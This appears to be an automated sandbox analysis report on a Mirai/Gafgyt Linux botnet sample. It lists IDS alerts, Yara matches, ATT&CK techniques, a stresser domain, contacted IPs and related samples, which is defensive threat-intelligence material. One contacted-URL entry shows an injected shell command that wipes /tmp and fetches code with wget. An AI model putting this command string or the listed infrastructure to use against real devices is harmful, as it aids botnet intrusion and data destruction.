Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: x86.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6222.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86.elf PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: x86.elf PID: 6222, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label
x86.elf	74%	ReversingLabs	Linux.Trojan.Mirai
x86.elf	100%	Avira	EXP/ELF.Gafgyt.T
x86.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	x86.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	x86.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
96.107.74.61	unknown	United States	7922	COMCAST-7922US	false
156.158.98.17	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
156.13.131.6	unknown	New Zealand	22192	SSHENETUS	false
91.199.115.183	unknown	Russian Federation	44387	REEDLAN-ASRU	false
144.79.65.48	unknown	unknown	24940	HETZNER-ASDE	false
47.241.21.87	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
172.15.102.177	unknown	United States	7018	ATT-INTERNET4US	false
156.124.100.128	unknown	United States	393504	XNSTGCA	false
165.108.36.235	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.195.235.255	unknown	Egypt	36992	ETISALAT-MISREG	false
156.241.59.24	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	false
41.68.48.229	unknown	Egypt	24835	RAYA-ASEG	false
197.221.180.254	unknown	South Africa	37356	O-TelZA	false
129.207.231.73	unknown	United States	1970	TAMUS-NETUS	false
202.15.27.29	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
197.71.38.214	unknown	South Africa	16637	MTNNS-ASZA	false
41.140.123.146	unknown	Morocco	36903	MT-MPLSMA	false
48.223.118.31	unknown	United States	2686	ATGS-MMD-ASUS	false
190.163.193.226	unknown	Chile	22047	VTRBANDAANCHASACL	false
41.226.143.43	unknown	Tunisia	37705	TOPNETTN	false
197.153.12.99	unknown	Morocco	36925	ASMediMA	false
36.235.241.16	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
13.231.235.109	unknown	United States	16509	AMAZON-02US	false
197.4.54.10	unknown	Tunisia	5438	ATI-TN	false
111.57.201.5	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
211.43.132.170	unknown	Korea Republic of	17584	ICE-AS-KRInchonMetropolitanOfficeOfEducationKR	false
1.49.41.6	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
191.176.179.103	unknown	Brazil	28573	CLAROSABR	false
174.55.235.165	unknown	United States	7922	COMCAST-7922US	false
112.38.33.216	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
197.149.52.166	unknown	Madagascar	37054	Telecom-MalagasyMG	false
197.113.54.103	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.92.88.7	unknown	United States	10695	WAL-MARTUS	false
178.26.2.80	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
211.93.186.135	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
152.95.104.68	unknown	Denmark	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
202.43.102.123	unknown	Malaysia	45785	TECHAVENUE-APTechAvenueMalaysiaMY	false
42.227.192.105	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
176.5.65.175	unknown	Germany	12638	AS12638DuesseldorfDE	false
121.103.100.236	unknown	Japan	2527	SO-NETSo-netEntertainmentCorporationJP	false
185.41.19.240	unknown	Norway	199900	ASN-BEDSYSNO	false
161.141.173.104	unknown	Canada	17311	ECMC-BGPUS	false
175.145.68.66	unknown	Malaysia	4788	TMNET-AS-APTMNetInternetServiceProviderMY	false
197.217.236.106	unknown	Angola	11259	ANGOLATELECOMAO	false
202.234.102.69	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
208.8.223.133	unknown	United States	1239	SPRINTLINKUS	false
197.144.26.135	unknown	Morocco	36884	MAROCCONNECTMA	false
197.197.89.63	unknown	Egypt	36992	ETISALAT-MISREG	false
197.43.225.199	unknown	Egypt	8452	TE-ASTE-ASEG	false
138.97.77.179	unknown	unknown	264139	WORLDINFORMATICALTDABR	false
207.122.65.2	unknown	United States	3356	LEVEL3US	false
107.96.38.183	unknown	United States	7018	ATT-INTERNET4US	false
156.51.42.235	unknown	Sweden	29975	VODACOM-ZA	false
197.220.141.96	unknown	Lesotho	33567	TELECOM-LESOTHOLS	false
135.172.178.6	unknown	United States	14962	NCR-252US	false
212.217.192.135	unknown	Sweden	12501	NORRNODITSSE	false
197.214.107.242	unknown	Nigeria	198504	LU1AE	false
27.191.234.176	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.240.131.159	unknown	unknown	37705	TOPNETTN	false
156.26.242.114	unknown	United States	22245	WICHITA-STATE-UUS	false
197.179.229.36	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	true
45.177.125.116	unknown	Ecuador	267881	SAOREDESCIALTDASAOHOSTINGEC	false
156.55.64.30	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
117.117.228.202	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
41.215.4.12	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
114.202.170.6	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
197.226.240.76	unknown	Mauritius	23889	MauritiusTelecomMU	false
203.214.148.66	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
41.239.218.33	unknown	Egypt	8452	TE-ASTE-ASEG	false
173.133.29.194	unknown	United States	10507	SPCSUS	false
207.150.127.190	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
125.47.143.167	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
53.132.254.10	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
220.228.27.68	unknown	Taiwan; Republic of China (ROC)	9919	NCIC-TWNewCenturyInfoCommTechCoLtdTW	false
144.170.24.233	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
129.3.48.78	unknown	United States	14433	SUNY-OSWEGO-ASNUS	false
32.123.173.77	unknown	United States	7018	ATT-INTERNET4US	false
41.157.30.27	unknown	South Africa	37168	CELL-CZA	false
45.186.75.136	unknown	Brazil	269414	AssainetProvedordeInternetLtdaBR	false
205.19.207.188	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
197.153.85.37	unknown	Morocco	36925	ASMediMA	false
41.172.44.194	unknown	South Africa	36937	Neotel-ASZA	false
179.186.113.6	unknown	Brazil	18881	TELEFONICABRASILSABR	false
12.57.188.148	unknown	United States	7018	ATT-INTERNET4US	false
156.214.187.251	unknown	Egypt	8452	TE-ASTE-ASEG	false
53.113.208.175	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
156.56.236.206	unknown	United States	87	INDIANA-ASUS	false
78.223.122.228	unknown	France	12322	PROXADFR	false
201.25.31.164	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
64.88.120.8	unknown	United States	26463	MISD-NETUS	false
52.138.131.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
65.201.108.203	unknown	United States	701	UUNETUS	false
156.185.191.4	unknown	Egypt	36992	ETISALAT-MISREG	false
96.80.107.41	unknown	United States	7922	COMCAST-7922US	false
25.131.247.159	unknown	United Kingdom	7922	COMCAST-7922US	false
156.189.23.123	unknown	Egypt	36992	ETISALAT-MISREG	false
19.4.56.27	unknown	United States	3	MIT-GATEWAYSUS	false
130.199.219.112	unknown	United States	43	BNL-ASUS	false
57.21.242.209	unknown	Belgium	2686	ATGS-MMD-ASUS	false
155.36.189.95	unknown	United States	24324	KORDIA-TRANSIT-AS-APKordiaLimitedNZ	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
96.107.74.61	Msc4ZGQYnn.elf	Get hash	malicious	Mirai	Browse
156.158.98.17	CMmTS10WAb.elf	Get hash	malicious	Mirai	Browse
156.158.98.17	1N552URi0w	Get hash	malicious	Mirai	Browse
156.13.131.6	KRHwO20x43.elf	Get hash	malicious	Gafgyt, Mirai	Browse
156.13.131.6	ak.arm7-20220924-1810.elf	Get hash	malicious	Mirai	Browse
144.79.65.48	ZqzR4J6BPp	Get hash	malicious	Mirai	Browse
156.124.100.128	mpsl.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	pP489WsUhS.elf	Get hash	malicious	Mirai	Browse
	YYDFQT2y6l.elf	Get hash	malicious	Mirai	Browse
	chi.x86.elf	Get hash	malicious	Mirai	Browse
197.195.235.255	tb8H6vTF5t.elf	Get hash	malicious	Mirai, Moobot	Browse
197.195.235.255	CZ20sNTjue	Get hash	malicious	Mirai	Browse
156.241.59.24	3mPS6MjiRe.elf	Get hash	malicious	Mirai	Browse
	4DeEvAENct.elf	Get hash	malicious	Mirai, Moobot	Browse
	6KAYQOZCoQ.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	MviPEORLUw.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
airtel-tz-asTZ	x86_64.elf	Get hash	malicious	Mirai	Browse	197.187.29.146
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.158.98.11
	sh4.elf	Get hash	malicious	Mirai	Browse	156.156.109.186
	arm7.elf	Get hash	malicious	Mirai	Browse	156.158.50.48
	nsharm7.elf	Get hash	malicious	Mirai	Browse	156.158.50.22
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	156.157.55.83
	arm5.elf	Get hash	malicious	Mirai	Browse	156.158.50.21
	mips.elf	Get hash	malicious	Mirai	Browse	156.158.25.66
	arm.elf	Get hash	malicious	Mirai	Browse	156.158.25.65
	arm7.elf	Get hash	malicious	Mirai	Browse	156.158.248.172
SSHENETUS	mpsl.elf	Get hash	malicious	Mirai	Browse	166.66.50.54
	xd.mips.elf	Get hash	malicious	Mirai	Browse	147.68.63.151
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	156.13.143.41
	arm5.elf	Get hash	malicious	Mirai	Browse	156.13.155.33
	mpsl.elf	Get hash	malicious	Mirai	Browse	156.13.155.26
	mips.elf	Get hash	malicious	Mirai	Browse	156.13.155.32
	arm.elf	Get hash	malicious	Mirai	Browse	156.13.155.47
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	157.162.143.39
	arm7.elf	Get hash	malicious	Mirai	Browse	156.13.155.14
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	166.66.37.43
COMCAST-7922US	x86_64.elf	Get hash	malicious	Mirai	Browse	71.61.125.147
	mpsl.elf	Get hash	malicious	Mirai	Browse	73.245.130.94
	sh4.elf	Get hash	malicious	Mirai	Browse	76.118.22.201
	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	174.181.100.238
